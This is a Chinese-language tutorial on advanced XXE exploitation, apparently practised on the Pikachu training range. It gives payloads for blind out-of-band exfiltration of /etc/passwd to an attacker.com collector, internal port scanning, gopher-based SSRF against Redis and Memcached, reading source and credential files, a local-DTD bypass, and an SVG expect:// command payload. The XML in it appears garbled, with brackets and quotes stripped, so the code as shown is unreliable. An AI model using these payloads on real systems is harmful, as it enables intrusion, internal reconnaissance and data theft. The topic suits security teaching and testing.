别再只读/etc/passwd了！用Pikachu靶场挖掘XXE的5种高级利用姿势（含盲注与SSRF）

深入挖掘XXE漏洞Pikachu靶场中的5种高级利用技术在网络安全领域XXEXML External Entity Injection漏洞常被低估。大多数人停留在读取/etc/passwd的基础层面却忽略了它作为攻击跳板的巨大潜力。本文将带你超越基础文件读取探索XXE在真实渗透测试中的五种高级应用场景。1. 无回显环境下的盲注XXE技术当目标系统不直接显示XXE攻击结果时传统的文件读取方法会失效。这时我们需要采用盲注技术通过外带数据通道获取信息。建立数据外带通道的关键步骤在可控服务器上准备接收数据的端点构造包含恶意DTD的XML文档利用目标服务器向攻击者服务器发起请求!DOCTYPE data [ !ENTITY % file SYSTEM file:///etc/passwd !ENTITY % dtd SYSTEM http://attacker.com/evil.dtd %dtd; ] datasend;/data对应的evil.dtd文件内容!ENTITY % all !ENTITY send SYSTEM http://attacker.com/collect?data%file; %all;注意实际使用时需要对文件内容进行URL编码避免特殊字符破坏请求结构盲注XXE的典型特征目标系统无直接回显依赖DNS或HTTP请求外带数据需要攻击者拥有可控服务器数据提取速度较慢但隐蔽性强2. 内网探测XXE作为端口扫描器XXE不仅能读取文件还能成为探测内网服务的利器。通过响应时间差异我们可以判断目标端口是否开放。端口扫描原理表技术指标描述示例值探测协议支持的URL协议http, ftp, gopher时间阈值开放/关闭端口响应时间差2秒视为关闭目标范围可探测的IP和端口范围同网段C类地址精度影响网络延迟造成的误差±0.5秒实际操作中可以构造如下探测载荷!DOCTYPE scan [ !ENTITY test SYSTEM http://192.168.1.1:80 ] scantest;/scan根据响应时间差异快速响应通常1秒端口可能开放超时或无响应3秒端口可能关闭提示这种扫描方式会产生大量日志记录实战中应谨慎使用3. 从XXE到SSRF攻击内网服务当XML解析器支持更多协议时XXE可以升级为完整的SSRF攻击。以下是几种典型的内网攻击场景3.1 攻击Redis服务!DOCTYPE attack [ !ENTITY redis SYSTEM gopher://192.168.1.2:6379/_INFO ] attackredis;/attack3.2 攻击Memcached!DOCTYPE attack [ !ENTITY memcached SYSTEM gopher://192.168.1.3:11211/_stats ] attackmemcached;/attack3.3 攻击内网Web应用!DOCTYPE attack [ !ENTITY internal SYSTEM http://192.168.1.4/admin ] attackinternal;/attack关键点不同XML解析器支持的协议可能不同PHP的libxml通常支持更多协议4. 特殊文件读取技巧超越/etc/passwdXXE可以获取更多敏感信息PHP源码读取!DOCTYPE code [ !ENTITY source SYSTEM php://filter/convert.base64-encode/resourceindex.php ] codesource;/codeWindows系统文件!DOCTYPE win [ !ENTITY hosts SYSTEM file:///C:/Windows/System32/drivers/etc/hosts ] winhosts;/win配置文件获取!DOCTYPE config [ !ENTITY db SYSTEM file:///var/www/html/config/database.php ] configdb;/config特殊文件读取对比表文件类型路径示例信息价值读取难度配置文件/etc/shadow★★★★★★★★☆☆源码文件./index.php★★★★☆★★☆☆☆日志文件/var/log/auth.log★★★☆☆★★★☆☆临时文件/tmp/sess_*★★☆☆☆★★★★☆5. 解析器特性差异与绕过技术不同XML解析器的特性差异会显著影响XXE利用效果。以PHP的libxml为例5.1 协议支持差异PHP libxml支持file、http、ftp、php、compress.zlib等Java SAX通常只支持file和httpPython lxml默认禁用外部实体5.2 利用解析器特性绕过防护场景1禁用外部实体时的绕过!DOCTYPE data [ !ENTITY % local_dtd SYSTEM file:///usr/local/lib/php.dtd !ENTITY % custom_entity !ENTITY % file SYSTEM file:///etc/passwd !ENTITY % eval !ENTITY #x25; error SYSTEM file:///nonexistent/%file; %eval; %error; %local_dtd; ]场景2过滤DOCTYPE时的绕过?xml version1.0 encodingUTF-8? svg xmlnshttp://www.w3.org/2000/svg xmlns:xlinkhttp://www.w3.org/1999/xlink width300 version1.1 height200 image xlink:hrefexpect://id/image /svg5.3 不同环境下的利用成功率对比环境组合文件读取端口扫描SSRF特殊协议PHP libxml★★★★★★★★★☆★★★★☆★★★★☆Java SAX★★★☆☆★★☆☆☆★★☆☆☆★☆☆☆☆.NET XmlReader★★☆☆☆★☆☆☆☆★☆☆☆☆★☆☆☆☆Python lxml★☆☆☆☆★☆☆☆☆★☆☆☆☆★☆☆☆☆在Pikachu靶场实践中我发现了几个关键点首先盲注XXE的成功率高度依赖网络环境稳定性其次内网探测时使用gopher协议通常比http更有效最后读取PHP源码时base64编码是必须的否则会因语法冲突导致解析失败。